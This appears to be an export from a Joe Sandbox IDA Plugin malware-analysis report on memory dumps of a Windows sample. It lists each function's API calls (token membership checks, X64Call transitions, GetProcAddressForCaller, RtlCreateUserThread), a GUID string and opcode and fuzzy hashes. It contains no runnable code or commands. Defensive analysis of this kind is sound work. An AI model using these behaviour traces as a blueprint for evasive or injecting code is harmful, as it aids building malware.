Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: _wcslen$AllocateHeap
String ID:
API String ID: 1110328321-0
Opcode ID: d3be4cebb1be4277a7ee5102e1ebb168406e8c2404415565eea1e926a24b0297
Instruction ID: 2ca4330e5094546a1d6e9ae340db6ea10cd662384c1c60c95f737cbaae49ecc5
Opcode Fuzzy Hash: d3be4cebb1be4277a7ee5102e1ebb168406e8c2404415565eea1e926a24b0297
Instruction Fuzzy Hash: 2F01F7322583056AE7213BB8AC82F6B73CCABC3364F220136F9188A1D5DFB48C419665

Function 0093C3A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0093C3DB
CheckTokenMembership.KERNELBASE(00000000,?,00000000), ref: 0093C3F4
FreeSid.ADVAPI32(?), ref: 0093C409

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: f19414eaf53844d761d5aded8c66ab8806619fb9fab65cce91f7b06a770b0c76
Instruction ID: 6cf15f418c5eb42a18773ec4119b8bbda7872d2741a7a1b47976b62b7a7730fa
Opcode Fuzzy Hash: f19414eaf53844d761d5aded8c66ab8806619fb9fab65cce91f7b06a770b0c76
Instruction Fuzzy Hash: 1701FB74D45348FAEB10DBE8C859BAEBFB8AB19704F0444C8E644AA2C1D7B55644CB91

Function 009303D5 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 20sleepCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 009303C3
Sleep.KERNELBASE(00000064), ref: 009303CB
Sleep.KERNELBASE(000003E8), ref: 009303DC

Strings

{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 009303A4

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandle
String ID: {90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}
API String ID: 1292970696-2750777359
Opcode ID: e9cab7626bd48acbc44ddb1dfe0eb0ed91a4cd2e5f003bc38c903446aa86d95f
Instruction ID: e0dfb530da3873b9b299698b11adea3bce15e53b08ebbddb038f022be6bf1423
Opcode Fuzzy Hash: e9cab7626bd48acbc44ddb1dfe0eb0ed91a4cd2e5f003bc38c903446aa86d95f
Instruction Fuzzy Hash: B6E0EC70A44318DBEB21BBA48C19BAE657AAB84708F144824E201765C4D7F95801CA25

Function 00926090 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 009260F7
X64Call.WINDOWS(221F1B10,00007FFE,00000004,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 00926145

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Call_strlen
String ID:
API String ID: 1092177880-0
Opcode ID: f147a91cd9e7447bf9fe1e947f6c434230b3596d95d325477f8e7775edfa3ec3
Instruction ID: bbd60178074038af727e6b7c99111eed4d79b29902d79d7931460a081bfd0ebe
Opcode Fuzzy Hash: f147a91cd9e7447bf9fe1e947f6c434230b3596d95d325477f8e7775edfa3ec3
Instruction Fuzzy Hash: 4F213EB0918218AFDB14DFA8EC42BBFB7B9FF48300F40812EE90897254E7705A44DB95

Function 04DE0B50 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: b8c47bf1598e57b295c9e240c115d0d27d434f82358d6ed94cd0fd83a0548c4d
Instruction ID: 257f2703102e2b7dc7c4c64781eceb634c34b395c9358c4f02876ff3a9075ca1
Opcode Fuzzy Hash: b8c47bf1598e57b295c9e240c115d0d27d434f82358d6ed94cd0fd83a0548c4d
Instruction Fuzzy Hash: C9314DA724D171BD9B037C6356505F63F2EFB932343344496E4C6CB602F2D6A54AE171

Function 04DE0AEB Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: cee9a923d2f21261a722ce088e2ebd8f5862799c273434a028de5144ac1bd9a5
Instruction ID: db7fd9074aa4c31929e1fde41381f4c3fded47a05ef0a8a5173b1593c54da3ed
Opcode Fuzzy Hash: cee9a923d2f21261a722ce088e2ebd8f5862799c273434a028de5144ac1bd9a5
Instruction Fuzzy Hash: F8316EA724D171BD974378639A406F63F2EFB933343344496E482CB602F2D6A54AE171

Function 04DE0AE2 Relevance: 1.6, APIs: 1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 0d29183ded7850b08de4fff5c730f6c920bd0e539b81c8ec4b5efe187794d14a
Instruction ID: 3349c715a66f796d7cfb5c308869e8125d8ae74fb8a382268abc57a2ca9909a5
Opcode Fuzzy Hash: 0d29183ded7850b08de4fff5c730f6c920bd0e539b81c8ec4b5efe187794d14a
Instruction Fuzzy Hash: F521499724D171BED70378634A50AF73F2EBA933343344466F486CB642F2D6A549E171

Function 04DE0B05 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 28a131c7cccfeebfddc3b4a5f578797ae20303a616f70181587ab37cc886cefd
Instruction ID: 7eed6a856c9c234177b934129902114dfc63df534704f9d7b5778520a2c040dd
Opcode Fuzzy Hash: 28a131c7cccfeebfddc3b4a5f578797ae20303a616f70181587ab37cc886cefd
Instruction Fuzzy Hash: 4921569724D171BDD60378A38A40AF63F2EBB933347344466F486CB642E2D6A54AE261

Function 04DE0B31 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: c81be571414989bf21c96ff43602b1cdbd0a8497d513ab8ba751c279824dbf18
Instruction ID: cd8df9ea8a6cb093e05a42530a4e6041be87cad608029ae4041ffc86d0648bc0
Opcode Fuzzy Hash: c81be571414989bf21c96ff43602b1cdbd0a8497d513ab8ba751c279824dbf18
Instruction Fuzzy Hash: B82149A724E131BD960378A34B417F73B2EFB933357344466E486CB602F2D6A54AE171

Function 04DE0B24 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: b8e8719444d7c877ecc9476e344aa50cd25b9fd6cceb94e69ab25f398f695cf5
Instruction ID: 8df30e9e7c6249485ac222d5e12c5610ac58de0233c89c08c5346d28d9f41521
Opcode Fuzzy Hash: b8e8719444d7c877ecc9476e344aa50cd25b9fd6cceb94e69ab25f398f695cf5
Instruction Fuzzy Hash: 90213BA724D171BD970378A38A406F73B6EFB932343344466F486CB642F2D6A549E171

Function 04DE0B76 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: cb3d35ebcedc941958c96cc98f3307232229cdc8b925803f7d504f1f527ccfd2
Instruction ID: 982f2e3c7cff345f1ba17fc5926173d331b03f522387b449f0416f1417ac151c
Opcode Fuzzy Hash: cb3d35ebcedc941958c96cc98f3307232229cdc8b925803f7d504f1f527ccfd2
Instruction Fuzzy Hash: B21129AB28D030AD9A43B8939744BB62F2DF7C63347308452F0C786501F2E4B945E570

Function 04DE0BC6 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: a594f99cded0d5f6e115b08400c7c02c5407b7964a6ae67148643a34bbca7a1e
Instruction ID: 60c5aedc8a63aeb0a0ee26ce2b94643eb2b064d4dd330b01cd288f51eb655f51
Opcode Fuzzy Hash: a594f99cded0d5f6e115b08400c7c02c5407b7964a6ae67148643a34bbca7a1e
Instruction Fuzzy Hash: 7A01F1A725E030BDAA4769938B40AB62B3EF7823347308416F4C7C1501E2E5AA45E270

Function 04DE0BB3 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 328508edbb7eedc14ede6d47de46131a3f9d0f95846c9d919a3332ba37105c62
Instruction ID: 38c8fb6004e9e3f23c4e7c6bce926b59f50697a529282d21695fcd25b70ce87a
Opcode Fuzzy Hash: 328508edbb7eedc14ede6d47de46131a3f9d0f95846c9d919a3332ba37105c62
Instruction Fuzzy Hash: C4012BA724E035BDAA4379539B44AB22A2EF7C63317308456F1C7C5501F3E5F945E570

Function 04DE0BEC Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04DE0C1C

Memory Dump Source

Source File: 00000009.00000002.4254166991.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4de0000_windows.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 67a19aee16bfa428e6114742c7ce374ced881bd24b18956bc3d5cec3bded298a
Instruction ID: 1317a1f2d0a5754f442abd1be3a4b6af2296cdde93aa7348c833fdab64859949
Opcode Fuzzy Hash: 67a19aee16bfa428e6114742c7ce374ced881bd24b18956bc3d5cec3bded298a
Instruction Fuzzy Hash: 64F0E9A724B0359EA9077963AB516F71B2DE7D53717308412F0C7CA501E2E4B947E070

Function 009258D5 Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

RtlCreateUserThread.NTDLL ref: 00925916

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
